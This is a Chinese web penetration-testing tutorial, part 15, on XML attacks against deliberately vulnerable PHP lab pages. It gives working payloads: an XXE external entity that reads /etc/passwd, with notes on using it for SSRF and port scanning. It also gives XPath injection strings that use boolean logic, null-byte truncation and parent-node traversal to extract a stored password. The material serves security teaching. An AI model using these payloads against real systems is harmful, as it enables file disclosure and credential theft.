首页 > 其他分享 >web渗透测试(15):XML攻击

web渗透测试(15):XML攻击

时间:2023-08-03 12:56:04浏览次数:38  
标签:XML web 15 name xml XPath hacker 节点

在本节中,将详细介绍与XML相关的攻击。这些类型的攻击在Web服务和使用XPath从XML文件中检索配置设置的应用程序中很常见(例如,根据提供的组织名称了解他们需要使用哪些后端来验证用户)。

 

Example 1

<?php require_once("../header.php"); ?>
Hello  
<?php
  $xml=simplexml_load_string($_GET['xml']);
  print_r((string)$xml);
?>
<?php require_once("../footer.php"); ?>

 

一些XML解析器将解析外部实体,并允许控制XML消息的用户访问资源; 例如,读取系统上的文件。可以声明以下实体,例如:

<!ENTITY x SYSTEM "file:///etc/passwd">

 

 

 

您需要正确包装,以使其正常工作:

<!DOCTYPE test [
    <!ENTITY x SYSTEM "file:///etc/passwd">]>

 

 

 

然后,您可以简单地使用x:&x; (不要忘记编码&)以在解析(服务器端)期间将相应的结果插入XML文档中。完整xml攻击如下:

?xml=<!DOCTYPE test [<!ENTITY x SYSTEM "file:///etc/passwd">]> <test>%26x;</test>

 

 

 

 

 

在此示例中,利用直接发生在GET请求中,但在传统Web应用程序中,更有可能使用POST请求执行这些类型的请求。 此问题在Web服务中也很常见,并且可能是您在攻击接受XML消息的应用程序时要进行的第一个测试。

 

此示例还可用于使应用程序执行HTTP请求(使用http://而不是file://),并可用作端口扫描程序。 但是,检索的内容通常是不完整的,因为XML解析器会尝试将其解析为文档的一部分。

 

当然:你也可以使用`ftp://`和`https://`。

 

Example 2

<?php require_once("../header.php"); 

  $x = "<data><users><user><name>hacker</name><message>Hello hacker</message><password>pentesterlab</password></user><user><name>admin</name><message>Hello admin</message><password>s3cr3tP4ssw0rd</password></user></users></data>";

  $xml=simplexml_load_string($x);
  $xpath = "users/user/name[.='".$_GET['name']."']/parent::*/message";
  $res = ($xml->xpath($xpath));
  while(list( ,$node) = each($res)) {
      echo $node;
  } 
?>
<?php require_once("../footer.php"); ?>

 

在此示例中,代码在XPath表达式中使用用户的输入。XPath是一种查询语言,它从XML文档中选择节点。将XML文档想象为数据库,将XPath想象为SQL查询。如果您可以操作查询,则可以检索通常无法访问的元素。

 

如果我们注入单引号,我们可以看到以下错误:

Warning: SimpleXMLElement::XPath(): Invalid predicate in /var/www/xml/example2.php on line 7 Warning: SimpleXMLElement::XPath(): xmlXPathEval: evaluation failed in /var/www/xml/example2.php on line 7 Warning: Variable passed to each() is not an array or object in /var/www/xml/example2.php on line 8

 


 

就像SQL注入一样,XPath允许你做布尔逻辑,你可以尝试:

  • ?name=hacker' and '1'='1 你应该得到相同的结果。
  • ?name=hacker' or '1'='0 你应该得到相同的结果。
  • ?name=hacker' and '1'='0 你不应该得到任何结果。
  • ?name=hacker' or '1'='1 你应该得到所有结果。

 

基于这些测试和以前的XPath知识,可以了解XPath表达式的外观:

[PARENT NODES]/name[.='[INPUT]']/[CHILD NODES]

 

 

 

要注释掉XPath表达式的其余部分,可以使用NULL BYTE(您需要将其编码为%00)。 正如我们在上面的XPath表达式中所看到的,我们还需要添加一个]以正确完成语法。 如果我们想要所有结果,我们的有效负载现在看起来像hacker']%00(或hacker' or 1=1]%00)。

 

如果我们尝试使用有效负载'%20or%201=1]/child::node()%00找到当前节点的子节点,我们就不会获得太多信息。

 

 

这里的问题是我们需要在节点层次结构中重新获得,以获取更多信息。 在XPath中,这可以使用parent::*作为有效负载的一部分来完成。 我们现在可以选择当前节点的父节点,并使用hacker'%20or%201=1]/parent::*/child::node()%00显示所有子节点。

 

 

其中一个节点的值看起来像一个密码。 我们可以通过使用有效负载hacker']/parent::*/password%00检查节点的名称是否为password来确认这一点。

标签:XML,web,15,name,xml,XPath,hacker,节点
From: https://www.cnblogs.com/shanhubei/p/17603027.html

相关文章

  • 老杜 JavaWeb 讲解(十八) ——项目优化(Servlet+JSP+EL+JSTL)
    (十六)项目优化(Servlet+JSP+EL+JSTL)相关视频:55-EL表达式JSTL和base标签改造OA新旧代码对比:注意点:Java代码不需要改动,只需要更改jsp代码。将需要的包导入:jakarta.servlet.jsp.jstl-2.0.0.jarjakarta.servlet.jsp.jstl-api-2.0.0.jarmysql-connector-j-8.0.31.j......
  • web渗透测试(13):LDAP 攻击
    在本节中,我们将介绍LDAP攻击。LDAP通常用作身份验证的后端,尤其是在单点登录(SSO)解决方案中。LDAP有自己的语法,我们将在以下示例中更详细地看到。 如有不懂什么是LDAP请查看 Example1在第一个示例中,使用您的用户名和密码连接到LDAP服务器。在这种情况下,LDAP服务器不会对您进......
  • iTOP-STM32MP157开发板一键烧写 QT 程序到开发板
    1根据上一小节设置好编译套件后,打开自己的qt工程,然后点击qtcreator里面的项目,把编译器切换成上一章节设置好的的编译器,如下图所示:2然后打开要编译的QT代码的pro文件,在里面添加以下代码,这俩行代码的意思是说把编译的可执行程序下载到开发板的/opt目录下并执行。target.pa......
  • 算法-15-归并排序
       ......
  • web渗透测试(12):命令注入
    命令注入来自缺乏对作为命令一部分使用的信息的过滤和编码。最简单的示例来自使用函数system(运行命令)并将HTTP参数作为此命令的参数。 有很多方法可以利用命令注入:例如,通过在反引号内注入命令 `id`通过将第一个命令的结果重定向到第二个命令 |id如果由第一个成功运行的......
  • 如何用DHTMLX组件为Web应用创建甘特图?(二)
    dhtmlxGantt是用于跨浏览器和跨平台应用程序的功能齐全的Gantt图表。可满足项目管理应用程序的所有需求,是最完善的甘特图图表库。甘特图仍然是项目管理应用程序中最需要的工具之一,DHTMLXGantt组件提供了能提升研发甘特图功能所需的重要工具。在这篇文章中,您将学习如何添加一个基本......
  • 题解 SP15454
    前言数学符号约定\(\operatorname{lowbit}(x)\):表示\(x\)的二进制最低位。\([a,b]\):表示区间\(a\simb\),其中包含\(a,\,b\)端点,其区间长度为\(b-a+1\)。如非特殊说明,将会按照上述约定书写符号。题目大意有一个初始全为\(0\)的序列\(A\),你需要支持一下操作:add......
  • .NET Core WebAPI中使用Swagger(完整教程)
    一、Swagger简介1.1-什么是Swagger?Swagger是一个规范且完整的框架,用于生成、描述、调试和可视化Restfull风格的Web服务。Swagger的目标是对RestAPI定义一个标准且和语言无关的接口,可以让人和计算机拥有无需访问源码、文档或网络流量监控就可以发现和连接服务的能力。当通过......
  • SD-WebUI安装的时候的小波折
    1.外面与里面不一样 小小的眼睛大大的疑惑.jpg进到stable-diffusion-webui选中venv点击Delete后运行webui.bat就会重新创建了(没有这个文件夹就是没有虚拟环境,要还有错就继续找么(;´д`)ゞ)配置:SD-WebUI的.bat脚本报版本不对,外部查看是对的这种情况是因为python有个东西:venv......
  • 《Web安全基础》03. SQL 注入
    @目录1:简要SQL注入2:MySQL注入2.1:信息获取2.2:跨库攻击2.3:文件读写2.4:常见防护3:注入方法3.1:类型方法明确3.2:盲注3.3:编码3.4:二次注入3.5:DNSlog注入3.6:堆叠注入4:WAF绕过4.1:WAF简介4.2:绕过方法5:其他数据库注入5.1:Access5.2:SqlServer5.3:PostgreSQL5.4:Oracle5.5:MongoDB本系列侧......